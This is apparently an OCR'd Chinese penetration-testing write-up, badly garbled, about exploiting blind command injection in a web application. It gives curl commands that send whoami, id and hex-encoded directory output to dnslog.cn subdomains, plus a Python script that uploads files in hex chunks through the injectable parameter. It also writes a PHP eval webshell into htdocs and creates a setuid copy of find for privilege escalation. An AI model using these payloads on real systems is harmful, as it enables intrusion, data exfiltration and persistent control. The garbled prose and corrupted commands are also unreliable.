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DNSLog Platform x N4

& C @ F=%=Z£| dnsleg.cn

DNS Query Record
Smuxdz.dnslog.cn

[BIR! ZBRIRAZIHRA, &%,

NI

AENHE T T 58 shell (988 %, FTIFR, EFRR—1
shell @3k, EX—4%, RIBHEHKBIABE,

BT RS2, T2 AEWE shell, RFEL, 17t
U 53. 80. 443 inOFEE, REEBWE T T &X
TCP/HTTP #FEHFT

ETET, BIEANZLHE DNS H3k4, H DNS —#,
S EE whoami YL



-nicurL  wnoamt .>MmMuxXdz.dnsLog.cn

FENFBRET, 1T whoami KBLER.

1T id:

-hlcurl “id -un’.Smuxdz.dnslog.cn

‘ Get SubDomain H Refresh Record

Smuxdz.dnslog.cn

DNS Query Record IP Address Created Time

nobody.Smuxdz.dnslog.cn o —wmuices 10020

nobody 1R, IR, SERGLEZNNG, KiE
SNERRRT .

BT BirMREZEFE php B9, FRIMTEE T —0ENR
5, KZEE FHRIFAENER:

-hlcurl "pwdlod -A n -t x1llsed 's/ //g"'" .Smuxdz.dnslo¢



| Get SubDomain || Refresh Record

Smuxdz.dnslog.cn

DNS Query Record IP Address Created Time
2f0a.Smuxdz.dnslog.cn AN a0 2

LUBIERB R / A2 Web 342, webshell 741EE
FME, XTEHE—L, TEERXEAN dns 5:

import requests
import binascii
with open('123','rb') as f:
data = f.read()
size = len(data)
S = 2000
for i in range((size // S) + 1):
if (i+1)*S > size:
d = datal[i*S:]
else:
d = data[i*S:(i+1)*S]
d = binascii.b2a_hex(d)
d = d.decode("utf-8", "ignore™)
cnd = f"echo "{d}' | xxd -r -p >>/tmp/1"
r = requests.get("http:///website/path?url=" + cmc

BMIAERA—I, FIHEE 500, BRI BTV ip LT
W, —RMERTE 500, 1SR T H AR,

35 7R R& 0
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MARET, PMMETNATEE 500 REE, AFME
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MBI B —1 e, FREFHNRE, BFERE
R, B—RFRRERKAAN 63 TFT,

FROREIER, WBEE—RNHME basebs &
hex, base64 FIRE=ZFEEMNFR + / =, &
BR=TFRMMTCENXS, BRmm, ERNEET
LRFIVIRE, B TA8, HILOIBAA base32, XtFmR
B = TENONFERT, A7, BinkSE%
base32, REEMF.

FRUAOEZR hex 377, BAKT—R.

KERHIE, S8R curl 2rIDAREARN, S8TH=
HATIEK, FRUAMIE T EAMT 7,

You can specify multiple URLs or parts of URLs by writing part sets within braces
and quoting the URL as in:

"http://site.{one,two,three}.com"
or you can get sequences of alphanumeric series by using [] as in:

"ftp://ftp.example.com/file[1-168].txt"

"ftp://ftp.example.com/file[BB1-1088]. txt" (with leading zeros)

"ftp://ftp.example.com/file[a-z]. txt"

Nested sequences are not supported, but you can use several ones next to each other:




"http://example.com/archive[1996-19991/vol[1-4]1/partia,b,c}.html"

Z3TMIL R urls A= EIRIT O FFHEZFTIURY,

# arch @ in ~ [12:49:87] C:
$ '1.a.com\n2.a.com'
curl: (6) Could not resolve host: 1.a.com
curl: (6) Could not resolve host: 2.a.com

# arch [ in ~ [12:49:24] C:

$ '"1.a.com 2.a.com’

curl: (6) Could not resolve host: 1.a.com
curl: (6) Could not resolve host: 2.a.com
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%, REEREFTSHERXMG:

-hlcurl $(find / -name common.min.jslod -A n -t x1lsec

Got SubDoman | Refresh Record
mp3smh.dnslog.cn
DNS Query Record 1P Address Created Time

6f6d6d616e2e6d696e2e6a730amp3smh.dns 208
log.cn

6163736261636b2163616d2f6a732f63.mp3s
mh.dnslog.cn "
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mh.dnslog.cn

6f637321636(60216a7321636f6d6d6F.mp3sm
hdnslog.cn

202

2f7366746d706673216574632f687464.mp3s
mh.dnslog.cn

67570733d3939286e662616479290aMP35 1p msv + o ae /stmpts/etcihtdocs/coms/common min js
mh.dnsloa.cn
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echo "<?php @eval($_GET[_]);?>">/sftmpfs/etc/htdocs/cc

BRINE AN, {EZILEMHE—EBI, DUAFHtail,

A phpinfo(); WAIT, A echo 1; BERMBAIT,
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-hlcurl $(find /sftmpfs/etc/htdocs/ -type d -writable
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Request

[ o []

GET [con/sfuplead/1.txt. HTTP/1.1
Host:

X
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Content-Type: text/plain
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&, WTRE—2®EGMAMA /tmp/find 1TH<S
T

-hlecho -e "cp /usr/bin/find /tmp/findnchmod u+s /tmp,
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AR ip ping 7@, known_hosts IRy ip EAR L, w0
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